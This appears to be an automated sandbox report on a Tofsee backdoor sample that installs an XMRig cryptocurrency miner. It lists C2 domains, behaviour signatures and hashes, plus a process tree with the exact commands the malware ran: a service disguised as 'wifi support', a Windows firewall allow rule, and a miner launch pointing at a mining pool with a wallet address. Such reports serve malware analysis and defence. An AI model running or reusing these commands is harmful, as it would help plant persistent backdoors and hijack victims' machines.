Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2022, 18:24

General

  • Target
    file.exe
  • Size 295KB
  • Sample221114-w112kshb9x
  • SHA256 dbc149e2028199dea4d4182f87efe2cd0e489cc562c9ab69ef5bd8be663aa5f3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3736
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\etfznvvw\
      2⤵
        PID:2204
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xntafrvk.exe" C:\Windows\SysWOW64\etfznvvw\
        2⤵
          PID:4616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create etfznvvw binPath= "C:\Windows\SysWOW64\etfznvvw\xntafrvk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4360
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description etfznvvw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:116
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start etfznvvw
          2⤵
          • Launches sc.exe
          PID:4584
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4716
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 1300
          2⤵
          • Program crash
          PID:2164
      • C:\Windows\SysWOW64\etfznvvw\xntafrvk.exe
        C:\Windows\SysWOW64\etfznvvw\xntafrvk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4844
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3084
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2112
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 536
          2⤵
          • Program crash
          PID:2784
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3736 -ip 3736
        1⤵
          PID:4420
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4844 -ip 4844
          1⤵
            PID:1580

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                xntafrvk.exe

                • Path C:\Users\Admin\AppData\Local\Temp\xntafrvk.exe
                • Size 13.1MB
                • SHA256 0cfd0322a20244af4622c9041708af57b908c35a66f1ebfec6b0e4cc7b61cfc8
                • MD5 SHA1 SHA512 SSDEEP

                xntafrvk.exe

                • Path C:\Windows\SysWOW64\etfznvvw\xntafrvk.exe
                • Size 13.1MB
                • SHA256 0cfd0322a20244af4622c9041708af57b908c35a66f1ebfec6b0e4cc7b61cfc8
                • MD5 SHA1 SHA512 SSDEEP

                memory/2112-177-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/2112-172-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/3084-152-0x0000000000A60000-0x0000000000A75000-memory.dmp

                memory/3084-168-0x0000000002BD0000-0x0000000002BD7000-memory.dmp

                memory/3084-165-0x0000000007600000-0x0000000007A0B000-memory.dmp

                memory/3084-162-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

                memory/3084-159-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

                memory/3084-146-0x0000000000A60000-0x0000000000A75000-memory.dmp

                memory/3084-156-0x0000000001DD0000-0x0000000001DD6000-memory.dmp

                memory/3084-153-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/3084-151-0x0000000000A60000-0x0000000000A75000-memory.dmp

                memory/3736-132-0x00000000008E3000-0x00000000008F8000-memory.dmp

                memory/3736-144-0x0000000000400000-0x000000000084C000-memory.dmp

                memory/3736-143-0x00000000008E3000-0x00000000008F8000-memory.dmp

                memory/3736-134-0x0000000000400000-0x000000000084C000-memory.dmp

                memory/3736-133-0x00000000008B0000-0x00000000008C3000-memory.dmp

                memory/4844-150-0x0000000000400000-0x000000000084C000-memory.dmp

                memory/4844-149-0x0000000000B2E000-0x0000000000B43000-memory.dmp